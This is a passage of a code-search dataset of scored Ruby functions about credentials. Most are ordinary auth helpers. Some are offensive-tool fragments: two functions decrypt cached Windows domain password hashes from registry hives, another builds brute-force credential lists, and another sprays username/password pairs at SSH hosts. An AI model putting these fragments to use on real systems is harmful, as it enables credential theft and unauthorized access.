"text": "def credentials\n creds = {}\n keyauth_creds = KeyauthCredential.where(:consumer, self, api_client: api_client)\n creds['key-auth'] = keyauth_creds if keyauth_creds\n basicauth_creds = BasicauthCredential.where(:consumer, self, api_client: api_client)\n creds['basic-auth'] = basicauth_creds if basicauth_creds\n jwt_creds = JWTCredential.where(:consumer, self, api_client: api_client)\n creds['jwt'] = jwt_creds if jwt_creds\n creds\n end",
"title": ""
},
{
"docid": "98d71f21a287e437cd6ac59099d280ed",
"score": "0.5895208",
"text": "def credentials\n { :user => @user, :password => @password }\n end",
"title": ""
},
{
"docid": "182696ef577e66926addabe46d910461",
"score": "0.58841646",
"text": "def digest_auth(*credentials)\n @options[:digest_auth] = credentials.flatten\n end",
"title": ""
},
{
"docid": "104d624e57a5d55da685dca1055b7b2b",
"score": "0.58434355",
"text": "def credentials(version = nil)\n return @credentials\n end",
"title": ""
},
{
"docid": "8220f9679cb3957492b0d9dbc3035ec7",
"score": "0.58055323",
"text": "def usernames\n credentials.keys\nend",
"title": ""
},
{
"docid": "2ea7cc29afd285966810ae2af45efc34",
"score": "0.5796113",
"text": "def hash\n @hash ||= { host: @host, port: @port, base: @base, encryption: @encryption }.merge(credentials_hash).freeze\n end",
"title": ""
},
{
"docid": "ac8ac031f04afbd0c0a744d665b2071c",
"score": "0.57798177",
"text": "def credentials\n @credentials ||= load_credentials\n end",
"title": ""
},
{
"docid": "7ef9300885dab2175579d000b5e3a87f",
"score": "0.57013446",
"text": "def webseal_credentials(authentication_hash)\n key = self.authentication_keys.first\n value = authentication_hash[key]\n value.downcase! if (self.case_insensitive_keys || []).include?(key)\n\n [value, authentication_hash[:password]]\n end",
"title": ""
},
{
"docid": "cd2feb17c8430acf45f62fc14f276fb5",
"score": "0.5685657",
"text": "def credentials\n JSON.parse(self.credentials_json)\n end",
"title": ""
},
{
"docid": "36642c0bcbd6d10c72ed2cd92ad4f7c4",
"score": "0.56850284",
"text": "def credentials\n if authenticating_with_remote_http?\n details = {}\n details[:remote_http_login] = send(login_field)\n details[:remote_http_password] = \"<protected>\"\n details\n else\n super\n end\n end",
"title": ""
},
{
"docid": "825629fa0715c50eb462d85e08541da3",
"score": "0.5662964",
"text": "def get_credentials\n return {} if @cred_proc.nil?\n cred = @cred_proc.call\n if cred.size() == 2\n {:login => cred[0], :passwd => cred[1]}\n elsif cred.size() == 1\n { :ichain_user => cred[0] }\n end\n end",
"title": ""
},
{
"docid": "0843508cf97640c8f05f49d217f16c06",
"score": "0.56510025",
"text": "def filter_credentials(credentials)\n kubeconfig = YAML.load_file(ENV['KUBECONFIG'])\n ca_certificate = kubeconfig.dig('clusters', 0, 'cluster', 'certificate-authority-data')\n\n credentials.merge('data' => credentials['data'].merge('ca.crt' => ca_certificate))\n end",
"title": ""
},
{
"docid": "ad650a45eb42d8954157654f5c61534c",
"score": "0.56486744",
"text": "def credentials\n return @credentials\n end",
"title": ""
},
{
"docid": "218ac2ff4c8bce0acfc179f2a2288b0a",
"score": "0.56309724",
"text": "def filter_credentials(credentials)\n kubeconfig = YAML.safe_load(@k3s.kubeconfig)\n ca_certificate = kubeconfig.dig('clusters', 0, 'cluster', 'certificate-authority-data')\n\n credentials.merge('data' => credentials['data'].merge('ca.crt' => ca_certificate))\n end",
"title": ""
},
{
"docid": "0e698687bac3d45209f431fde37705c5",
"score": "0.56286216",
"text": "def credentials\n { :username => token, :password => 'x' }\n end",
"title": ""
},
{
"docid": "b89144f09ccacfb4dc73780d15e69fc2",
"score": "0.5624547",
"text": "def get_credentials\n return nil unless credentials?\n\n return @auth.credentials\n end",
"title": ""
},
{
"docid": "b89144f09ccacfb4dc73780d15e69fc2",
"score": "0.5624547",
"text": "def get_credentials\n return nil unless credentials?\n\n return @auth.credentials\n end",
"title": ""
},
{
"docid": "4e74891d3a4fc1184954130ae2c6f4e0",
"score": "0.56036794",
"text": "def credentials\n return @credentials\n end",
"title": ""
},
{
"docid": "69b899109576f932cc5177a463dfde7d",
"score": "0.5602052",
"text": "def authenticate_credentials(client, otp, credentials)\n result = client.call(:authenticate_credentials, message: get_auth_body(otp, credentials))\n get_return_hash(result.body[:authenticate_credentials_response])\n end",
"title": ""
},
{
"docid": "71c9635c5cea5f2c2e3d47fc891a1e1d",
"score": "0.55880725",
"text": "def credentials(user, password=nil)\n {'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Basic.encode_credentials(user, password || user)}\n end",
"title": ""
},
{
"docid": "c7ba66352a8e163045095dc3d15a39c7",
"score": "0.5587676",
"text": "def credentials(version = nil)\n validate_headers_for_server(version)\n result = case @credentials[:method]\n when :CLIENTLOGIN\n {:email => @credentials[:email],\n :password => @credentials[:password],\n :logintoken => @credentials[:logintoken],\n :logincaptcha => @credentials[:logincaptcha]}\n when :OAUTH\n {:oauth_consumer_key => @credentials[:oauth_consumer_key],\n :oauth_consumer_secret => @credentials[:oauth_consumer_secret],\n :oauth_verification_code => @credentials[:oauth_verification_code],\n :oauth_token => @credentials[:oauth_token],\n :oauth_token_secret => @credentials[:oauth_token_secret],\n :oauth_callback => @credentials[:oauth_callback],\n :oauth_method => @credentials[:oauth_method],\n :oauth_request_token => @credentials[:oauth_request_token]}\n end\n client_lib = 'AwApi-Ruby-%s|' % AdwordsApi::ApiConfig::CLIENT_LIB_VERSION\n user_agent = @credentials[:user_agent] || $0\n user_agent = client_lib + user_agent\n user_agent_symbol = (version == :v13) ? :useragent : :userAgent\n result[user_agent_symbol] = user_agent\n result[:developerToken] = @credentials[:developer_token]\n unless @use_mcc\n if @credentials[:client_customer_id]\n result[:clientCustomerId] = @credentials[:client_customer_id]\n elsif @credentials[:client_email] and version != :v201109\n result[:clientEmail] = @credentials[:client_email]\n end\n end\n if version != :v13\n result[:validateOnly] = 'true' if @validate_only\n result[:partialFailure] = 'true' if @partial_failure\n end\n return result.reject {|k,v| v.nil?}\n end",
"title": ""
},
{
"docid": "45e41c7c03cb2f3f3825c6083ea9595a",
"score": "0.55772096",
"text": "def write_credentials(credentials_hash)\n credentials_hash\n end",
"title": ""
},
{
"docid": "4015098ce6d8a4ec2010c0b584ae45f9",
"score": "0.55602896",
"text": "def web_authentication_detail\n { 'UserCredential' => {'Key' => @credentials.key,\n 'Password' => @credentials.password,\n :order! => ['Key', 'Password']}}\n end",
"title": ""
},
{
"docid": "bbbac99d678038b806f4c0d7dfdf6b9a",
"score": "0.55541366",
"text": "def get_auth_body(otp, credentials)\n\n credential_array = []\n\n credentials.each do |credential|\n credential_array.push({'vip:credentialId': credential[:id], 'vip:credentialType': credential[:type]})\n end\n\n {\n 'vip:requestId': Utilities.get_request_id('authenticate_credentials'),\n 'vip:credentials': credential_array,\n 'vip:otpAuthData': {\n 'vip:otp': otp\n }\n }\n\n end",
"title": ""
},
{
"docid": "dd72804d583521e59d05a7dbe2bf12fa",
"score": "0.5540009",
"text": "def report_creds(hash)\n\t\tprint_good(\"#{hash}\")\n\t\tcreds_entry = {\n\t\t\t:rhost => rhost,\n\t\t\t:username => hash.split(\":\")[0],\n\t\t\t:userid => hash.split(\":\")[1],\n\t\t\t:hash => hash.split(\":\")[2] + \":\" + hash.split(\":\")[3]\n\t\t}\n\t\treport_auth_info(creds_entry)\n\tend",
"title": ""
},
{
"docid": "ddf106ef0f23a15bc6821ceb68bdf1c5",
"score": "0.5539992",
"text": "def credentials\n if valid_credentials?\n return load_credentials\n else\n return create_credentials\n end\n end",
"title": ""
},
{
"docid": "04fa8787b8fa52c01d8be150660df8ae",
"score": "0.55251646",
"text": "def with_credentials(credentials = {})\n raise TypeError, \"expected Hash of credentials, got #{credentials.class}\" unless credentials.is_a?(Hash)\n\n test_credentials.clear\n\n credentials.each do |type, value|\n test_credentials[type.to_s] = value\n end\n ensure\n test_credentials.clear\n end",
"title": ""
},
{
"docid": "a8962ca84f930e4109d0520b22be65ec",
"score": "0.5515294",
"text": "def credentials=(values)\n return if values.blank? || !values.is_a?(Hash)\n values.symbolize_keys!\n [login_field.to_sym, password_field.to_sym, :remember_me].each do |field|\n next if values[field].blank?\n send(\"#{field}=\", values[field])\n end\n end",
"title": ""
},
{
"docid": "dabc6f408187f91e50d36ef8beec29da",
"score": "0.5499002",
"text": "def to_header\n Utils.encode_directives Utils.filter_h_on(@h,\n [:username, :realm, :nonce, :uri, :response, :algorithm, :cnonce, :opaque, :qop, :nc]), :credentials\n end",
"title": ""
},
{
"docid": "bd2d7f6c18a1fd795e5cb47b8cd48c7d",
"score": "0.549429",
"text": "def credentials=(value)\n @credentials = value\n end",
"title": ""
},
{
"docid": "3c50c94a4297d9ad1eeee0e005f18552",
"score": "0.54931355",
"text": "def credentials=(value)\n @credentials = value\n end",
"title": ""
},
{
"docid": "bc42f8b4264e4fd41dbbc41becb1d612",
"score": "0.5491068",
"text": "def validate_credentials(credentials)\n credentials.assert_valid_keys(required_credentials)\n missing = required_credentials - credentials.keys\n raise(Error.new \"The next credentials are missing for #{self}: #{missing.join(', ')}\") unless missing.empty?\n end",
"title": ""
},
{
"docid": "a325b1701963b34a238683fc1d7dc276",
"score": "0.5481807",
"text": "def auth_header\n return {}.freeze if username.blank? && password.blank?\n\n { 'Authorization' => \"Basic #{hashed_credentials}\" }.freeze\n end",
"title": ""
},
{
"docid": "1981dc228a1b07dd7f7bff080c39dd2f",
"score": "0.5467736",
"text": "def hashed_credentials\n return '' if username.blank? && password.blank?\n\n Base64.encode64(\"#{username}:#{password}\").strip\n end",
"title": ""
},
{
"docid": "e69241949a29d04531301f364c56476b",
"score": "0.5466395",
"text": "def get_parameters_from_credentials(creds)\n return {\n \"credentials\" => {\n # EC2 / Eucalyptus-specific credentials\n 'EC2_ACCESS_KEY' => creds['ec2_access_key'],\n 'EC2_SECRET_KEY' => creds['ec2_secret_key'],\n 'EC2_URL' => creds['ec2_url']\n },\n 'project' => creds['project'], # GCE-specific\n \"group\" => creds['group'],\n \"image_id\" => creds['machine'],\n \"infrastructure\" => creds['infrastructure'],\n \"instance_type\" => creds['instance_type'],\n \"keyname\" => creds['keyname'],\n \"use_spot_instances\" => creds['use_spot_instances'],\n \"max_spot_price\" => creds['max_spot_price']\n }\n end",
"title": ""
},
{
"docid": "d68dac4817d0d34507f3aa046857e05c",
"score": "0.5465553",
"text": "def credentials(username, password, digest = false)\n self.username = username\n self.password = password\n self.digest = digest\n end",
"title": ""
},
{
"docid": "adc1ea458b83427804f6fcca3bc4e1ba",
"score": "0.5464343",
"text": "def credentials\n if authenticating_with_unauthorized_record?\n { unauthorized_record: \"<protected>\" }\n elsif authenticating_with_password?\n {\n login_field.to_sym => send(login_field),\n password_field.to_sym => \"<protected>\"\n }\n else\n {}\n end\n end",
"title": ""
},
{
"docid": "f063a52bab1eaa507029800b7ec0d30b",
"score": "0.54330134",
"text": "def get_credentials_list()\n auth = Authentication.new()\n result = auth.check_credentials_file_exists()\n if result\n credentials = auth.get_stored_list_credentials()\n else result\n credentials = auth.prompt_for_list_credentials()\n auth.store_list_credentials(auth.get_encrypted_list_credentials(credentials))\n credentials = auth.get_decrypted_list_credentials(credentials)\n end\n credentials\n end",
"title": ""
},
{
"docid": "4ebde905faf919b382c8d5876e1aa513",
"score": "0.5431063",
"text": "def credentials\n return unless owner?\n\n creds = {}\n doc = xml_document(@server.read(links[:sec_creds], \"application/xml\",\n @credentials))\n\n xpath_find(doc, @@xpaths[:sec_cred]).each do |c|\n uri = URI.parse(xml_node_content(xpath_first(c, @@xpaths[:sec_suri])))\n cred_uri = URI.parse(xml_node_attribute(c, \"href\"))\n creds[uri] = cred_uri\n end\n\n creds\n end",
"title": ""
},
{
"docid": "eef8c908c5c203919b5f9b7da8c3d247",
"score": "0.5384388",
"text": "def credentials\n config[:credentials]\n end",
"title": ""
},
{
"docid": "ef0537683c205f343038a1ac893828f0",
"score": "0.53629535",
"text": "def credentials\n defaults = NSUserDefaults.standardUserDefaults\n if defaults['authEnabled'].boolValue\n [defaults['username'], password]\n else\n ['', '']\n end \n end",
"title": ""
},
{
"docid": "be15ce850bd8bdc8e27c3b046aa35bb8",
"score": "0.5358689",
"text": "def decode_credentials(header)\n ActionController::HttpAuthentication::Digest.decode_credentials(header)\n end",
"title": ""
},
{
"docid": "6b61bfa835060e5c2fb014bb5f272131",
"score": "0.53534484",
"text": "def encode_credentials(options)\n options.reverse_merge!(:nc => \"00000001\", :cnonce => \"0a4f113b\", :password_is_ha1 => false)\n password = options.delete(:password)\n\n # Perform unauthenticated request to retrieve digest parameters to use on subsequent request\n method = options.delete(:method) || 'GET'\n target = options.delete(:target) || :index\n\n case method.to_s.upcase\n when 'GET'\n get target\n when 'POST'\n post target\n end\n\n assert_response :unauthorized\n\n credentials = decode_credentials(@response.headers['WWW-Authenticate'])\n credentials.merge!(options)\n path_info = @request.env['PATH_INFO'].to_s\n uri = options[:uri] || path_info\n credentials.merge!(:uri => uri)\n @request.env[\"ORIGINAL_FULLPATH\"] = path_info\n ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])\n end",
"title": ""
},
{
"docid": "4d85ee286b513b24cc1330f480fd3ff3",
"score": "0.534021",
"text": "def credentials\n @credentials ||= Plaid::Credentials.new(@client)\n end",
"title": ""
},
{
"docid": "d2972b43efb484df3ecb86c7a1a6a54f",
"score": "0.532358",
"text": "def check_has_all_required_credentials!\n unless (missing = (required_credentials.keys - credentials.keys)).empty?\n raise \"You are missing some credentials required in order to deploy: #{missing}\"\n end\n end",
"title": ""
},
{
"docid": "d87a53abfcc52b22c798677d5d830d3b",
"score": "0.53114593",
"text": "def get_hashes_for_user\n hashes = (cookies['hashes'] || \"\").split(\",\")\n end",
"title": ""
},
{
"docid": "ec599943513ee8e4f3068731dec145ac",
"score": "0.53011775",
"text": "def credentials\n if user\n credentials = Credentials.new(\n user.name,\n user.password,\n user.auth_mech_properties['aws_session_token'],\n )\n\n if credentials_valid?(credentials, 'Mongo::Client URI or Ruby options')\n return credentials\n end\n end\n\n credentials = Credentials.new(\n ENV['AWS_ACCESS_KEY_ID'],\n ENV['AWS_SECRET_ACCESS_KEY'],\n ENV['AWS_SESSION_TOKEN'],\n )\n\n if credentials_valid?(credentials, 'environment variables')\n return credentials\n end\n\n credentials = ecs_metadata_credentials\n\n if credentials && credentials_valid?(credentials, 'ECS task metadata')\n return credentials\n end\n\n credentials = ec2_metadata_credentials\n\n if credentials && credentials_valid?(credentials, 'EC2 instance metadata')\n return credentials\n end\n\n raise Auth::Aws::CredentialsNotFound\n end",
"title": ""
},
{
"docid": "36ecebef6e44c69c3e26880722bd0d0b",
"score": "0.5289744",
"text": "def credential_options\n %w[username password].map do |option|\n next if send(option).to_s.empty?\n \"--#{option}='#{send(option)}'\".gsub('--username', '--user')\n end.compact.join(' ')\n end",
"title": ""
},
{
"docid": "fc090b0da537b29e0d7d00c60d2954fd",
"score": "0.52810264",
"text": "def credentials=(value)\n super\n values = value.is_a?(Array) ? value : [value]\n hash = values.first.is_a?(Hash) ? values.first.with_indifferent_access : nil\n end",
"title": ""
},
{
"docid": "452478c5f73bd64d9be40d2336114dd4",
"score": "0.5279008",
"text": "def get_login_data(credentials)\n user_name = CGI.escape(credentials[:user_name])\n password = CGI.escape(credentials[:password])\n service_name = @service_name\n data = \"accountType=%s&Email=%s&Passwd=%s&service=%s\" %\n [ACCOUNT_TYPE, user_name, password, service_name]\n if credentials[:logintoken] and credentials[:logincaptcha]\n data += \"&logintoken=%s&logincaptcha=%s\" %\n [CGI.escape(credentials[:logintoken]),\n CGI.escape(credentials[:logincaptcha])]\n end\n return data\n end",
"title": ""
},
{
"docid": "a526c43c4b6e66a6504528068306ffe7",
"score": "0.5254683",
"text": "def credentials\n LazyCredentials.new(self)\n end",
"title": ""
},
{
"docid": "3d8df17f0b92cc4e6810dc9254518da2",
"score": "0.5251972",
"text": "def report_cred(username, password)\r\n service_data = {\r\n address: rhost,\r\n port: rport,\r\n service_name: ssl ? 'https' : 'http',\r\n protocol: 'tcp',\r\n workspace_id: myworkspace_id\r\n }\r\n\r\n credential_data = {\r\n module_fullname: self.fullname,\r\n origin_type: :service,\r\n username: username,\r\n private_data: password,\r\n private_type: :password\r\n }.merge(service_data)\r\n\r\n credential_core = create_credential(credential_data)\r\n\r\n login_data = {\r\n core: credential_core,\r\n last_attempted_at: DateTime.now,\r\n status: Metasploit::Model::Login::Status::SUCCESSFUL\r\n }.merge(service_data)\r\n\r\n create_credential_login(login_data)\r\n end",
"title": ""
},
{
"docid": "e9fdbb12d59d521be294cef2bc9d6f1c",
"score": "0.5246299",
"text": "def unpack_train_credentials\n # Internally, use indifferent access while we build the creds\n credentials = Thor::CoreExt::HashWithIndifferentAccess.new({})\n\n # Helper methods prefixed with _utc_ (Unpack Train Credentials)\n\n credentials.merge!(_utc_generic_credentials)\n\n _utc_determine_backend(credentials)\n transport_name = credentials[:backend].to_s\n\n _utc_merge_credset(credentials, transport_name)\n _utc_merge_transport_options(credentials, transport_name)\n\n # Convert to all-Symbol keys\n credentials.each_with_object({}) do |(option, value), creds|\n creds[option.to_sym] = value\n creds\n end\n end",
"title": ""
},
{
"docid": "de275a1f898c28fc20c410e03f30958c",
"score": "0.5237665",
"text": "def prepare_credentials(resource)\n credentials_block = []\n resource[:parameters].each do |property_name, property_hash|\n next unless property_hash[:mof_type] == 'PSCredential'\n next if property_hash[:value].nil?\n variable_name = random_variable_name\n credential_hash = {\n 'user' => property_hash[:value]['user'],\n 'password' => escape_quotes(property_hash[:value]['password'].unwrap)\n }\n instantiated_variables.merge!(variable_name => credential_hash)\n credentials_block << format_pscredential(variable_name, credential_hash)\n end\n credentials_block.join(\"\\n\")\n credentials_block == [] ? '' : credentials_block\n end",
"title": ""
},
{
"docid": "859c846fcda37f802a9480e016cd2b05",
"score": "0.52214915",
"text": "def get_params_for_digest\n return '' unless @options[:auth_username] and @options[:auth_password]\n user, passwd = @options[:auth_username], @options[:auth_password]\n hr = self.class.send @options[:method], \n @uri.userinfo ? \n @@__url.sub(/:\\/\\/(.+?)@/, '://') : \n @@__url\n\n params = HttpRequestParams.parse hr['WWW-Authenticate'].split(' ', 2).last\n method = @options[:method].upcase\n cnonce = md5(rand.to_s + Time.new.to_s)\n nc = \"00000001\"\n\n data = []\n data << md5(\"#{user}:#{params['realm']}:#{passwd}\") \\\n << params['nonce'] \\\n << ('%08x' % nc) \\\n << cnonce \\\n << params['qop'] \\\n << md5(\"#{method}:#{@uri.path}\")\n\n params = params.update({\n :username => user,\n :nc => nc,\n :cnonce => cnonce,\n :uri => @uri.path,\n :method => method,\n :response => md5(data.join(\":\"))\n })\n\n headers = []\n params.each {|k, v| headers << \"#{k}=\\\"#{v}\\\"\" }\n headers.join(\", \")\n rescue\n ''\n end",
"title": ""
},
{
"docid": "44cba2d35352fa5165611cedc484e48c",
"score": "0.5219667",
"text": "def credentials\n @credentials || self.class.credentials\n end",
"title": ""
},
{
"docid": "44cba2d35352fa5165611cedc484e48c",
"score": "0.5219667",
"text": "def credentials\n @credentials || self.class.credentials\n end",
"title": ""
},
{
"docid": "74f8382d78cc4d08a15edeee6b8cb8d2",
"score": "0.5213516",
"text": "def identify_credentials!\n @hosts.each do |host|\n is_reachable, explanation = Ssh.check_host_reachable(host)\n\n unless is_reachable\n store_unreachable_host(host, explanation)\n next\n end\n\n credential_failure_count = 0\n\n username_password_combinations.each do |username, password|\n if Ssh.valid_credentials?(host, username, password)\n store_valid_credentials(host, username, password)\n else\n credential_failure_count += 1\n event_bus.emit(:credentials_failed, host, username, password)\n end\n end\n \n store_failed_host(host) if credential_failure_count == username_password_combinations.length\n end\n end",
"title": ""
},
{
"docid": "30de9153b9b09eee9b965feb68fe3198",
"score": "0.5210741",
"text": "def prepare_credentials(resource)\n credentials_block = []\n resource[:parameters].each do |_property_name, property_hash|\n next unless property_hash[:mof_type] == 'PSCredential'\n next if property_hash[:value].nil?\n\n variable_name = random_variable_name\n credential_hash = {\n 'user' => property_hash[:value]['user'],\n 'password' => escape_quotes(property_hash[:value]['password'].unwrap)\n }\n credentials_block << format_pscredential(variable_name, credential_hash)\n instantiated_variables.merge!(variable_name => credential_hash)\n end\n credentials_block.join(\"\\n\")\n credentials_block == [] ? '' : credentials_block\n end",
"title": ""
},
{
"docid": "a460cf61555e98144e62656a3be66f5c",
"score": "0.52056295",
"text": "def build_credentials_array\n credentials = extract_word_pair(datastore['USERPASS_FILE'])\n translate_proto_datastores()\n return credentials if datastore['USERPASS_FILE'] =~ /^memory:/\n users = load_user_vars(credentials)\n passwords = load_password_vars(credentials)\n cleanup_files()\n if datastore['USER_AS_PASS']\n credentials = gen_user_as_password(users, credentials)\n end\n if datastore['BLANK_PASSWORDS']\n credentials = gen_blank_passwords(users, credentials)\n end\n if framework.db.active\n if datastore['DB_ALL_CREDS']\n framework.db.creds(workspace: myworkspace.name).each do |o|\n credentials << [o.public.username, o.private.data] if o.private && o.private.type =~ /password/i\n end\n end\n if datastore['DB_ALL_USERS']\n framework.db.creds(workspace: myworkspace.name).creds.each do |o|\n users << o.public.username if o.public\n end\n end\n if datastore['DB_ALL_PASS']\n framework.db.creds(workspace: myworkspace.name).creds.each do |o|\n passwords << o.private.data if o.private && o.private.type =~ /password/i\n end\n end\n end\n credentials.concat(combine_users_and_passwords(users, passwords))\n credentials.uniq!\n credentials = just_uniq_users(credentials) if @strip_passwords\n credentials = just_uniq_passwords(credentials) if @strip_usernames\n return credentials\n end",
"title": ""
},
{
"docid": "0e8b530568e7579e44befba81aed9a09",
"score": "0.5198505",
"text": "def credentials\n credentials = credentials_from_user(user)\n return credentials unless credentials.nil?\n\n credentials = credentials_from_environment\n return credentials unless credentials.nil?\n\n credentials = @credentials_cache.fetch { obtain_credentials_from_endpoints }\n return credentials unless credentials.nil?\n\n raise Auth::Aws::CredentialsNotFound\n end",
"title": ""
},
{
"docid": "3d41631422eff8aa4aa44dc54593900a",
"score": "0.51955706",
"text": "def delete_all_shared_credentials_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CredentialApi.delete_all_shared_credentials ...'\n end\n # resource path\n local_var_path = '/api/3/shared_credentials'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Links')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CredentialApi#delete_all_shared_credentials\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7363c7335538b8599094af3326f8528a",
"score": "0.51913226",
"text": "def dump_cache_creds(sec, sys, credentials)\n\t\tvprint_status(\"#{peer} - Extracting Domain Cached Password hashes.\")\n\t\tbootkey = get_boot_key(sys)\n\t\tlsa_key = get_lsa_key(sec, bootkey)\n\t\tnlkm = get_nlkm(sec, lsa_key)\n\t\tif bootkey && lsa_key && nlkm\n\t\t\tbegin\n\t\t\t\tprint_status(\"#{peer} - Dumping cached credentials...\")\n\t\t\t\tok = sec.relative_query('\\Cache')\n\t\t\t\tjohn = \"\"\n\t\t\t\tok.value_list.values.each do |usr|\n\t\t\t\t\tif( \"NL$Control\" == usr.name) then\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tbegin\n\t\t\t\t\t\tnl = usr.value.data\n\t\t\t\t\trescue\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tcache = parse_cache_entry(nl)\n\t\t\t\t\tif ( cache.userNameLength > 0 )\n\t\t\t\t\t\tprint_status(\"Reg entry: #{nl.unpack(\"H*\")[0]}\") if( datastore['DEBUG'] )\n\t\t\t\t\t\tprint_status(\"Encrypted data: #{cache.enc_data.unpack(\"H*\")[0]}\") if( datastore['DEBUG'] )\n\t\t\t\t\t\tprint_status(\"Ch: #{cache.ch.unpack(\"H*\")[0]}\") if( datastore['DEBUG'] )\n\t\t\t\t\t\tif( @vista == 1 )\n\t\t\t\t\t\t\tdec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tprint_status(\"Decrypted data: #{dec_data.unpack(\"H*\")[0]}\") if( datastore['DEBUG'] )\n\t\t\t\t\t\tjohn += parse_decrypted_cache(dec_data, cache, credentials)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tjohn.split(\"\\n\").each do |pass|\n\t\t\t\t\tprint_good(\"#{pass}\")\n\t\t\t\tend\n\t\t\t\tif( @vista == 1 )\n\t\t\t\t\tvprint_status(\"Hash are in MSCACHE_VISTA format. (mscash2)\")\n\t\t\t\telse\n\t\t\t\t\tvprint_status(\"Hash are in MSCACHE format. (mscash)\")\n\t\t\t\tend\n\t\t\trescue StandardError => e\n\t\t\t\tprint_status(\"No cached hashes found on #{peer}\")\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{peer} - System does not appear to store any cached credentials\")\n\t\t\treturn\n\t\tend\n\tend",
"title": ""
},
{
"docid": "19cd54f32fea03e4ac27cb51ba9186a4",
"score": "0.5180717",
"text": "def pretty_output_credentials(credentials)\n output = {\n \"user_id\" => credentials.user_id,\n \"user_arn\" => credentials.user_arn,\n \"packed_policy_size\" => credentials.packed_policy_size,\n \"credentials\" => credentials.credentials,\n \"expires_at\" => credentials.expires_at\n }\n JSON.pretty_generate(output)\n end",
"title": ""
},
{
"docid": "7cabee41f47f5e9135beea09c2a4c8ce",
"score": "0.51783407",
"text": "def credential_template\n require \"yaml\"\n {\"credentials\"=>[{\"email\"=>nil}, {\"password\"=>nil}, {\"save_path\"=>nil}]}.to_yaml\n end",
"title": ""
},
{
"docid": "c4040368b4b9a8cb87e63dcdfe90d1ea",
"score": "0.5176709",
"text": "def credentials\n @credentials || self.class.credentials\n end",
"title": ""
},
{
"docid": "f607302d2f883c313b2d2db192b34632",
"score": "0.51751477",
"text": "def credentials\n if basic_auth = URI.parse(Temporize::Scheduler.base_uri).userinfo\n username, password = basic_auth.split(':')\n {:username => username, :password => password}\n end\n end",
"title": ""
},
{
"docid": "303e4effc308a74a80a5ab4448318bf3",
"score": "0.51736784",
"text": "def dump_cache_creds(sec, sys, credentials)\n\t#\tputs(\"Extracting Domain Cached Password hashes.\")\n\t\tbootkey = get_boot_key(sys)\n\t\tlsa_key = get_lsa_key(sec, bootkey)\n\t\tnlkm = get_nlkm(sec, lsa_key)\n\t\thashes = \"\"\n\t\tif bootkey && lsa_key && nlkm\n\t\t\tbegin\n\t#\t\t\tputs(\"Dumping cached credentials...\")\n\t\t\t\tok = sec.relative_query('\\Cache')\n\t\t\t\tjohn = \"\"\n\t\t\t\tok.value_list.values.each do |usr|\n\t\t\t\t\tif( \"NL$Control\" == usr.name) then\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tbegin\n\t\t\t\t\t\tnl = usr.value.data\n\t\t\t\t\trescue\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tcache = parse_cache_entry(nl)\n\t\t\t\t\tif ( cache.userNameLength > 0 )\n\t\t\t\t\t\tif( @vista == 1 )\n\t\t\t\t\t\t\tdec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tjohn += parse_decrypted_cache(dec_data, cache, credentials)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tjohn.split(\"\\n\").each do |pass|\n\t\t\t\t\thashes << \"#{pass}\\n\"\n\t\t\t\tend\n\t\t\t\ttype = ''\n\t\t\t\tif( @vista == 1 )\n\t\t\t\t\ttype = \"mscache2\"\n\t\t\t\telse\n\t\t\t\t\ttype = \"mscache\"\n\t\t\t\tend\n\t\t\t\treturn hashes, type\n\t\t\trescue StandardError => e\n\t\t\t\tputs(\"No cached hashes found\")\n\t\t\tend\n\t\telse\n\t#\t\tputs(\"System does not appear to store any cached credentials\")\n\t\t\treturn nil, nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.51725274",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.51725274",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "0d06817af0e8e5da7308c654787fd55a",
"score": "0.517059",
"text": "def basic_auth(*credentials)\n @options[:basic_auth] = credentials.flatten\n end",
"title": ""
},
{
"docid": "9334a1579b2694ae07363f9ad258da56",
"score": "0.5166258",
"text": "def delete_all_credentials\n return unless owner?\n\n @server.delete(links[:sec_creds], @credentials)\n end",
"title": ""
},
{
"docid": "e22b98831a57790287115d757de63582",
"score": "0.516585",
"text": "def credentials\n @credentials ||= {\n login: Spree::Fulfillment.config[:api_key],\n password: Spree::Fulfillment.config[:secret_key],\n seller_id: Spree::Fulfillment.config[:seller_id]\n }\n end",
"title": ""
},
{
"docid": "2c5548aeba50f0cf41487899417155bd",
"score": "0.5163059",
